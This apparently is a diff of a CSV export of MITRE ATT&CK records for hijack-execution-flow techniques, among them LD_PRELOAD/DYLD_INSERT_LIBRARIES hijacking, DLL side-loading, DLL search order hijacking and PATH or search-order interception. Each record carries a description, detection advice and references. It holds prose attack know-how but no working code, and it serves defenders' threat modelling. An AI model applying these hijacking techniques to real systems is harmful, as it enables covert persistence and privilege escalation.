'https://blog.timac.org/2012/1218-simple-code-injection-using-dyld_insert_libraries/'}, {'source_name': 'Gabilondo DYLD_INSERT_LIBRARIES Catalina Bypass', 'description': 'Jon Gabilondo. (2019, September 22). How to Inject Code into Mach-O Apps. Part II.. Retrieved March 24, 2021.', 'url': 'https://jon-gabilondo-angulo-7635.medium.com/how-to-inject-code-into-mach-o-apps-part-ii-ddb13ebc8191'}]",2.0,attack-pattern,attack-pattern--633a100c-b2c9-41bf-9be5-905c1b16c825,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-13T20:09:59.569Z,2021-04-27T19:55:18.453Z,Dynamic Linker Hijacking,"Adversaries may execute their own malicious payloads by hijacking environment variables the dynamic linker uses to load shared libraries. During the execution preparation phase of a program, the dynamic linker loads specified absolute paths of shared libraries from environment variables and files, such as LD_PRELOAD on Linux or DYLD_INSERT_LIBRARIES on macOS. Libraries specified in environment variables are loaded first, taking precedence over system libraries with the same function name.(Citation: Man LD.SO)(Citation: TLDP Shared Libraries)(Citation: Apple Doco Archive Dynamic Libraries) These variables are often used by developers to debug binaries without needing to recompile, deconflict mapped symbols, and implement custom functions without changing the original library.(Citation: Baeldung LD_PRELOAD) On Linux and macOS, hijacking dynamic linker variables may grant access to the victim process's memory, system/network resources, and possibly elevated privileges. This method may also evade detection from security products since the execution is masked under a legitimate process. Adversaries can set environment variables via the command line using the export command, setenv function, or putenv function. Adversaries can also leverage [Dynamic Linker Hijacking](https://attack.mitre.org/techniques/T1574/006) to export variables in a shell or set variables programmatically using higher level syntax such Python’s os.environ. On Linux, adversaries may set LD_PRELOAD to point to malicious libraries that match the name of legitimate libraries which are requested by a victim program, causing the operating system to load the adversary's malicious code upon execution of the victim program. LD_PRELOAD can be set via the environment variable or /etc/ld.so.preload file.(Citation: Man LD.SO)(Citation: TLDP Shared Libraries) Libraries specified by LD_PRELOAD are loaded and mapped into memory by dlopen() and mmap() respectively.(Citation: Code Injection on Linux and macOS)(Citation: Uninformed Needle) (Citation: Phrack halfdead 1997)(Citation: Brown Exploiting Linkers) -On macOS this behavior is conceptually the same as on Linux, differing only in how the macOS dynamic libraries (dyld) is implemented at a lower level. Adversaries can set the DYLD_INSERT_LIBRARIES environment variable to point to malicious libraries containing names of legitimate libraries or functions requested by a victim program.(Citation: TheEvilBit DYLD_INSERT_LIBRARIES)(Citation: Timac DYLD_INSERT_LIBRARIES)(Citation: Gabilondo DYLD_INSERT_LIBRARIES Catalina Bypass) ",attack-pattern--633a100c-b2c9-41bf-9be5-905c1b16c825,attack-pattern,"['persistence', 'privilege-escalation', 'defense-evasion']",2021-04-27T19:55:18.453Z,2020-03-13T20:09:59.569Z,"Monitor for changes to environment variables and files associated with loading shared libraries such as LD_PRELOAD and DYLD_INSERT_LIBRARIES, as well as the commands to implement these changes. +On macOS this behavior is conceptually the same as on Linux, differing only in how the macOS dynamic libraries (dyld) is implemented at a lower level. Adversaries can set the DYLD_INSERT_LIBRARIES environment variable to point to malicious libraries containing names of legitimate libraries or functions requested by a victim program.(Citation: TheEvilBit DYLD_INSERT_LIBRARIES)(Citation: Timac DYLD_INSERT_LIBRARIES)(Citation: Gabilondo DYLD_INSERT_LIBRARIES Catalina Bypass) ","['persistence', 'privilege-escalation', 'defense-evasion']",https://attack.mitre.org/techniques/T1574/006,mitre-attack,T1574.006,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['File: File Creation', 'File: File Modification', 'Module: Module Load', 'Process: Process Creation', 'Command: Command Execution']",,"Monitor for changes to environment variables and files associated with loading shared libraries such as LD_PRELOAD and DYLD_INSERT_LIBRARIES, as well as the commands to implement these changes. -Monitor processes for unusual activity (e.g., a process that does not use the network begins to do so). Track library metadata, such as a hash, and compare libraries that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates.","['File: File Creation', 'File: File Modification', 'Module: Module Load', 'Process: Process Creation', 'Command: Command Execution']",,,['User'],"['Linux', 'macOS']",,CAPEC-640,https://capec.mitre.org/data/definitions/640.html,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1574.002', 'url': 'https://attack.mitre.org/techniques/T1574/002'}, {'external_id': 'CAPEC-641', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/641.html'}, {'source_name': 'FireEye DLL Side-Loading', 'url': 'https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-dll-sideloading.pdf', 'description': 'Amanda Steward. (2014). FireEye DLL Side-Loading: A Thorn in the Side of the Anti-Virus Industry. Retrieved March 13, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]",2.0,True,https://attack.mitre.org/techniques/T1574/002,mitre-attack,T1574.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,DLL Side-Loading,"Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s). +Monitor processes for unusual activity (e.g., a process that does not use the network begins to do so). Track library metadata, such as a hash, and compare libraries that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates.",True,['User'],"['Linux', 'macOS']",,CAPEC-640,https://capec.mitre.org/data/definitions/640.html,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1574/002', 'external_id': 'T1574.002'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/641.html', 'external_id': 'CAPEC-641'}, {'source_name': 'FireEye DLL Side-Loading', 'description': 'Amanda Steward. (2014). FireEye DLL Side-Loading: A Thorn in the Side of the Anti-Virus Industry. Retrieved March 13, 2020.', 'url': 'https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-dll-sideloading.pdf'}]",2.0,attack-pattern,attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-13T19:41:37.908Z,2021-04-26T18:31:34.954Z,DLL Side-Loading,"Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s). -Side-loading takes advantage of the DLL search order used by the loader by positioning both the victim application and malicious payload(s) alongside each other. Adversaries likely use side-loading as a means of masking actions they perform under a legitimate, trusted, and potentially elevated system or software process. Benign executables used to side-load payloads may not be flagged during delivery and/or execution. Adversary payloads may also be encrypted/packed or otherwise obfuscated until loaded into the memory of the trusted process.(Citation: FireEye DLL Side-Loading)",attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b,attack-pattern,"['persistence', 'privilege-escalation', 'defense-evasion']",2021-04-26T18:31:34.954Z,2020-03-13T19:41:37.908Z,"Monitor processes for unusual activity (e.g., a process that does not use the network begins to do so) as well as the introduction of new files/programs. Track DLL metadata, such as a hash, and compare DLLs that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates.","['File: File Creation', 'File: File Modification', 'Module: Module Load', 'Process: Process Creation']",,"['Anti-virus', 'Application control']",,['Windows'],,CAPEC-641,https://capec.mitre.org/data/definitions/641.html,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1574.001', 'url': 'https://attack.mitre.org/techniques/T1574/001'}, {'external_id': 'CAPEC-471', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/471.html'}, {'source_name': 'Microsoft Dynamic Link Library Search Order', 'url': 'https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order?redirectedfrom=MSDN', 'description': 'Microsoft. (2018, May 31). Dynamic-Link Library Search Order. Retrieved November 30, 2014.'}, {'source_name': 'FireEye Hijacking July 2010', 'url': 'https://www.fireeye.com/blog/threat-research/2010/07/malware-persistence-windows-registry.html', 'description': 'Harbour, N. (2010, July 15). Malware Persistence without the Windows Registry. Retrieved November 17, 2020.'}, {'source_name': 'OWASP Binary Planting', 'description': 'OWASP. (2013, January 30). Binary planting. Retrieved June 7, 2016.', 'url': 'https://www.owasp.org/index.php/Binary_planting'}, {'source_name': 'FireEye fxsst June 2011', 'url': 'https://www.fireeye.com/blog/threat-research/2011/06/fxsst.html', 'description': 'Harbour, N. (2011, June 3). What the fxsst?. Retrieved November 17, 2020.'}, {'source_name': 'Microsoft Security Advisory 2269637', 'url': 'https://docs.microsoft.com/en-us/security-updates/securityadvisories/2010/2269637', 'description': 'Microsoft. (, May 23). Microsoft Security Advisory 2269637. Retrieved March 13, 2020.'}, {'source_name': 'Microsoft Dynamic-Link Library Redirection', 'url': 'https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-redirection?redirectedfrom=MSDN', 'description': 'Microsoft. (2018, May 31). Dynamic-Link Library Redirection. Retrieved March 13, 2020.'}, {'source_name': 'Microsoft Manifests', 'description': 'Microsoft. (n.d.). Manifests. Retrieved December 5, 2014.', 'url': 'https://msdn.microsoft.com/en-US/library/aa375365'}, {'source_name': 'FireEye DLL Search Order Hijacking', 'url': 'https://www.fireeye.com/blog/threat-research/2010/08/dll-search-order-hijacking-revisited.html', 'description': 'Nick Harbour. (2010, September 1). DLL Search Order Hijacking Revisited. Retrieved March 13, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]",1.1,True,https://attack.mitre.org/techniques/T1574/001,mitre-attack,T1574.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,DLL Search Order Hijacking,"Adversaries may execute their own malicious payloads by hijacking the search order used to load DLLs. Windows systems use a common method to look for required DLLs to load into a program. (Citation: Microsoft Dynamic Link Library Search Order)(Citation: FireEye Hijacking July 2010) Hijacking DLL loads may be for the purpose of establishing persistence as well as elevating privileges and/or evading restrictions on file execution. +Side-loading takes advantage of the DLL search order used by the loader by positioning both the victim application and malicious payload(s) alongside each other. Adversaries likely use side-loading as a means of masking actions they perform under a legitimate, trusted, and potentially elevated system or software process. Benign executables used to side-load payloads may not be flagged during delivery and/or execution. Adversary payloads may also be encrypted/packed or otherwise obfuscated until loaded into the memory of the trusted process.(Citation: FireEye DLL Side-Loading)","['persistence', 'privilege-escalation', 'defense-evasion']",https://attack.mitre.org/techniques/T1574/002,mitre-attack,T1574.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['File: File Creation', 'File: File Modification', 'Module: Module Load', 'Process: Process Creation']","['Anti-virus', 'Application control']","Monitor processes for unusual activity (e.g., a process that does not use the network begins to do so) as well as the introduction of new files/programs. Track DLL metadata, such as a hash, and compare DLLs that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates.",True,,['Windows'],,CAPEC-641,https://capec.mitre.org/data/definitions/641.html,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1574/001', 'external_id': 'T1574.001'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/471.html', 'external_id': 'CAPEC-471'}, {'source_name': 'Microsoft Dynamic Link Library Search Order', 'description': 'Microsoft. (2018, May 31). Dynamic-Link Library Search Order. Retrieved November 30, 2014.', 'url': 'https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order?redirectedfrom=MSDN'}, {'source_name': 'FireEye Hijacking July 2010', 'description': 'Harbour, N. (2010, July 15). Malware Persistence without the Windows Registry. Retrieved November 17, 2020.', 'url': 'https://www.fireeye.com/blog/threat-research/2010/07/malware-persistence-windows-registry.html'}, {'source_name': 'OWASP Binary Planting', 'description': 'OWASP. (2013, January 30). Binary planting. Retrieved June 7, 2016.', 'url': 'https://www.owasp.org/index.php/Binary_planting'}, {'source_name': 'FireEye fxsst June 2011', 'description': 'Harbour, N. (2011, June 3). What the fxsst?. Retrieved November 17, 2020.', 'url': 'https://www.fireeye.com/blog/threat-research/2011/06/fxsst.html'}, {'source_name': 'Microsoft Security Advisory 2269637', 'description': 'Microsoft. (, May 23). Microsoft Security Advisory 2269637. Retrieved March 13, 2020.', 'url': 'https://docs.microsoft.com/en-us/security-updates/securityadvisories/2010/2269637'}, {'source_name': 'Microsoft Dynamic-Link Library Redirection', 'description': 'Microsoft. (2018, May 31). Dynamic-Link Library Redirection. Retrieved March 13, 2020.', 'url': 'https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-redirection?redirectedfrom=MSDN'}, {'source_name': 'Microsoft Manifests', 'description': 'Microsoft. (n.d.). Manifests. Retrieved December 5, 2014.', 'url': 'https://msdn.microsoft.com/en-US/library/aa375365'}, {'source_name': 'FireEye DLL Search Order Hijacking', 'description': 'Nick Harbour. (2010, September 1). DLL Search Order Hijacking Revisited. Retrieved March 13, 2020.', 'url': 'https://www.fireeye.com/blog/threat-research/2010/08/dll-search-order-hijacking-revisited.html'}]",1.1,attack-pattern,attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-13T18:11:08.357Z,2021-04-26T18:37:03.748Z,DLL Search Order Hijacking,"Adversaries may execute their own malicious payloads by hijacking the search order used to load DLLs. Windows systems use a common method to look for required DLLs to load into a program. (Citation: Microsoft Dynamic Link Library Search Order)(Citation: FireEye Hijacking July 2010) Hijacking DLL loads may be for the purpose of establishing persistence as well as elevating privileges and/or evading restrictions on file execution. There are many ways an adversary can hijack DLL loads. Adversaries may plant trojan dynamic-link library files (DLLs) in a directory that will be searched before the location of a legitimate library that will be requested by a program, causing Windows to load their malicious library when it is called for by the victim program. Adversaries may also perform DLL preloading, also called binary planting attacks, (Citation: OWASP Binary Planting) by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. Often this location is the current working directory of the program.(Citation: FireEye fxsst June 2011) Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL. (Citation: Microsoft Security Advisory 2269637) Adversaries may also directly modify the search order via DLL redirection, which after being enabled (in the Registry and creation of a redirection file) may cause a program to load a different DLL.(Citation: Microsoft Dynamic-Link Library Redirection)(Citation: Microsoft Manifests)(Citation: FireEye DLL Search Order Hijacking) -If a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program. Programs that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace.",attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34,attack-pattern,"['persistence', 'privilege-escalation', 'defense-evasion']",2021-04-26T18:37:03.748Z,2020-03-13T18:11:08.357Z,"Monitor file systems for moving, renaming, replacing, or modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared with past behavior) that do not correlate with known software, patches, etc., are suspicious. Monitor DLLs loaded into a process and detect DLLs that have the same file name but abnormal paths. Modifications to or creation of `.manifest` and `.local` redirection files that do not correlate with software updates are suspicious.","['File: File Creation', 'File: File Modification', 'Module: Module Load']","['Travis Smith, Tripwire', 'Stefan Kanthak']",,,['Windows'],,CAPEC-471,https://capec.mitre.org/data/definitions/471.html,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1574.008', 'url': 'https://attack.mitre.org/techniques/T1574/008'}, {'external_id': 'CAPEC-159', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/159.html'}, {'url': 'http://msdn.microsoft.com/en-us/library/ms682425', 'description': 'Microsoft. (n.d.). CreateProcess function. Retrieved December 5, 2014.', 'source_name': 'Microsoft CreateProcess'}, {'source_name': 'Windows NT Command Shell', 'url': 'https://docs.microsoft.com/en-us/previous-versions//cc723564(v=technet.10)?redirectedfrom=MSDN#XSLTsection127121120120', 'description': 'Tim Hill. (2014, February 2). The Windows NT Command Shell. Retrieved December 5, 2014.'}, {'url': 'http://msdn.microsoft.com/en-us/library/ms687393', 'description': 'Microsoft. (n.d.). WinExec function. Retrieved December 5, 2014.', 'source_name': 'Microsoft WinExec'}, {'source_name': 'Microsoft Environment Property', 'url': 'https://docs.microsoft.com/en-us/previous-versions//fd7hxfdd(v=vs.85)?redirectedfrom=MSDN', 'description': 'Microsoft. (2011, October 24). Environment Property. Retrieved July 27, 2016.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]",1.0,True,https://attack.mitre.org/techniques/T1574/008,mitre-attack,T1574.008,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Path Interception by Search Order Hijacking,"Adversaries may execute their own malicious payloads by hijacking the search order used to load other programs. Because some programs do not call other programs using the full path, adversaries may place their own file in the directory where the calling program is located, causing the operating system to launch their malicious software at the request of the calling program. +If a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program. Programs that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace.","['persistence', 'privilege-escalation', 'defense-evasion']",https://attack.mitre.org/techniques/T1574/001,mitre-attack,T1574.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Travis Smith, Tripwire', 'Stefan Kanthak']","['File: File Creation', 'File: File Modification', 'Module: Module Load']",,"Monitor file systems for moving, renaming, replacing, or modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared with past behavior) that do not correlate with known software, patches, etc., are suspicious. Monitor DLLs loaded into a process and detect DLLs that have the same file name but abnormal paths. Modifications to or creation of `.manifest` and `.local` redirection files that do not correlate with software updates are suspicious.",True,,['Windows'],,CAPEC-471,https://capec.mitre.org/data/definitions/471.html,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1574/008', 'external_id': 'T1574.008'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/159.html', 'external_id': 'CAPEC-159'}, {'source_name': 'Microsoft CreateProcess', 'description': 'Microsoft. (n.d.). CreateProcess function. Retrieved December 5, 2014.', 'url': 'http://msdn.microsoft.com/en-us/library/ms682425'}, {'source_name': 'Windows NT Command Shell', 'description': 'Tim Hill. (2014, February 2). The Windows NT Command Shell. Retrieved December 5, 2014.', 'url': 'https://docs.microsoft.com/en-us/previous-versions//cc723564(v=technet.10)?redirectedfrom=MSDN#XSLTsection127121120120'}, {'source_name': 'Microsoft WinExec', 'description': 'Microsoft. (n.d.). WinExec function. Retrieved December 5, 2014.', 'url': 'http://msdn.microsoft.com/en-us/library/ms687393'}, {'source_name': 'Microsoft Environment Property', 'description': 'Microsoft. (2011, October 24). Environment Property. Retrieved July 27, 2016.', 'url': 'https://docs.microsoft.com/en-us/previous-versions//fd7hxfdd(v=vs.85)?redirectedfrom=MSDN'}]",1.0,attack-pattern,attack-pattern--58af3705-8740-4c68-9329-ec015a7013c2,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-13T17:48:58.999Z,2020-09-17T19:03:35.217Z,Path Interception by Search Order Hijacking,"Adversaries may execute their own malicious payloads by hijacking the search order used to load other programs. Because some programs do not call other programs using the full path, adversaries may place their own file in the directory where the calling program is located, causing the operating system to launch their malicious software at the request of the calling program. Search order hijacking occurs when an adversary abuses the order in which Windows searches for programs that are not given a path. Unlike [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), the search order differs depending on the method that is used to execute the program. (Citation: Microsoft CreateProcess) (Citation: Windows NT Command Shell) (Citation: Microsoft WinExec) However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system directory. An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does not specify the path to an executable) may take advantage of this vulnerability by creating a program named after the improperly specified program and placing it within the initiating program's directory. For example, ""example.exe"" runs ""cmd.exe"" with the command-line argument net user. An adversary may place a program called ""net.exe"" within the same directory as example.exe, ""net.exe"" will be run instead of the Windows system utility net. In addition, if an adversary places a program called ""net.com"" in the same directory as ""net.exe"", then cmd.exe /C net user will execute ""net.com"" instead of ""net.exe"" due to the order of executable extensions defined under PATHEXT. (Citation: Microsoft Environment Property) -Search order hijacking is also a common practice for hijacking DLL loads and is covered in [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001).",attack-pattern--58af3705-8740-4c68-9329-ec015a7013c2,attack-pattern,"['persistence', 'privilege-escalation', 'defense-evasion']",2020-09-17T19:03:35.217Z,2020-03-13T17:48:58.999Z,"Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as ""findstr,"" ""net,"" and ""python""). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious. +Search order hijacking is also a common practice for hijacking DLL loads and is covered in [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001).","['persistence', 'privilege-escalation', 'defense-evasion']",https://attack.mitre.org/techniques/T1574/008,mitre-attack,T1574.008,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['Stefan Kanthak'],"['File: File Creation', 'File: File Modification', 'Process: Process Creation']",,"Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as ""findstr,"" ""net,"" and ""python""). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. -","['File: File Creation', 'File: File Modification', 'Process: Process Creation']",['Stefan Kanthak'],,"['Administrator', 'User', 'SYSTEM']",['Windows'],,CAPEC-159,https://capec.mitre.org/data/definitions/159.html,,,"['Administrator', 'SYSTEM', 'User']",,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1574.007', 'url': 'https://attack.mitre.org/techniques/T1574/007'}, {'external_id': 'CAPEC-13', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/13.html'}, {'external_id': 'CAPEC-38', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/38.html'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]",1.0,True,https://attack.mitre.org/techniques/T1574/007,mitre-attack,T1574.007,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Path Interception by PATH Environment Variable,"Adversaries may execute their own malicious payloads by hijacking environment variables used to load libraries. Adversaries may place a program in an earlier entry in the list of directories stored in the PATH environment variable, which Windows will then execute when it searches sequentially through that PATH listing in search of the binary that was called from a script or the command line. +",True,"['Administrator', 'User', 'SYSTEM']",['Windows'],,CAPEC-159,https://capec.mitre.org/data/definitions/159.html,,,"['Administrator', 'SYSTEM', 'User']",,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1574/007', 'external_id': 'T1574.007'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/13.html', 'external_id': 'CAPEC-13'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/38.html', 'external_id': 'CAPEC-38'}]",1.0,attack-pattern,attack-pattern--0c2d00da-7742-49e7-9928-4514e5075d32,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-13T14:10:43.424Z,2020-09-16T16:56:34.583Z,Path Interception by PATH Environment Variable,"Adversaries may execute their own malicious payloads by hijacking environment variables used to load libraries. Adversaries may place a program in an earlier entry in the list of directories stored in the PATH environment variable, which Windows will then execute when it searches sequentially through that PATH listing in search of the binary that was called from a script or the command line. The PATH environment variable contains a list of directories. Certain methods of executing a program (namely using cmd.exe or the command-line) rely solely on the PATH environment variable to determine the locations that are searched for a program when the path for the program is not given. If any directories are listed in the PATH environment variable before the Windows directory, %SystemRoot%\system32 (e.g., C:\Windows\system32), a program may be placed in the preceding directory that is named the same as a Windows program (such as cmd, PowerShell, or Python), which will be executed when that command is executed from a script or command-line. -For example, if C:\example path precedes C:\Windows\system32 is in the PATH environment variable, a program that is named net.exe and placed in C:\example path will be called instead of the Windows system ""net"" when ""net"" is executed from the command-line.",attack-pattern--0c2d00da-7742-49e7-9928-4514e5075d32,attack-pattern,"['persistence', 'privilege-escalation', 'defense-evasion']",2020-09-16T16:56:34.583Z,2020-03-13T14:10:43.424Z,"Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as ""findstr,"" ""net,"" and ""python""). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious. +For example, if C:\example path precedes C:\Windows\system32 is in the PATH environment variable, a program that is named net.exe and placed in C:\example path will be called instead of the Windows system ""net"" when ""net"" is executed from the command-line.","['persistence', 'privilege-escalation', 'defense-evasion']",https://attack.mitre.org/techniques/T1574/007,mitre-attack,T1574.007,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['Stefan Kanthak'],"['File: File Creation', 'File: File Modification', 'Process: Process Creation']",['Application control'],"Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as ""findstr,"" ""net,"" and ""python""). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious. -Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.","['File: File Creation', 'File: File Modification', 'Process: Process Creation']",['Stefan Kanthak'],['Application control'],,['Windows'],,CAPEC-38,https://capec.mitre.org/data/definitions/38.html,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1574.009', 'url': 'https://attack.mitre.org/techniques/T1574/009'}, {'external_id': 'CAPEC-38', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/38.html'}, {'source_name': 'Microsoft CurrentControlSet Services', 'url': 'https://docs.microsoft.com/en-us/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree', 'description': 'Microsoft. (2017, April 20). HKLM\\SYSTEM\\CurrentControlSet\\Services Registry Tree. Retrieved March 16, 2020.'}, {'source_name': 'Help eliminate unquoted path', 'url': 'https://isc.sans.edu/diary/Help+eliminate+unquoted+path+vulnerabilities/14464', 'description': 'Mark Baggett. (2012, November 8). Help eliminate unquoted path vulnerabilities. Retrieved November 8, 2012.'}, {'source_name': 'Windows Unquoted Services', 'url': 'https://securityboulevard.com/2018/04/windows-privilege-escalation-unquoted-services/', 'description': 'HackHappy. (2018, April 23). Windows Privilege Escalation – Unquoted Services. Retrieved August 10, 2018.'}, {'source_name': 'Windows Privilege Escalation Guide', 'url': 'https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/', 'description': 'absolomb. (2018, January 26). Windows Privilege Escalation Guide. Retrieved August 10, 2018.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]",1.1,True,https://attack.mitre.org/techniques/T1574/009,mitre-attack,T1574.009,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Path Interception by Unquoted Path,"Adversaries may execute their own malicious payloads by hijacking vulnerable file path references. Adversaries can take advantage of paths that lack surrounding quotations by placing an executable in a higher level directory within the path, so that Windows will choose the adversary's executable to launch. +Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, 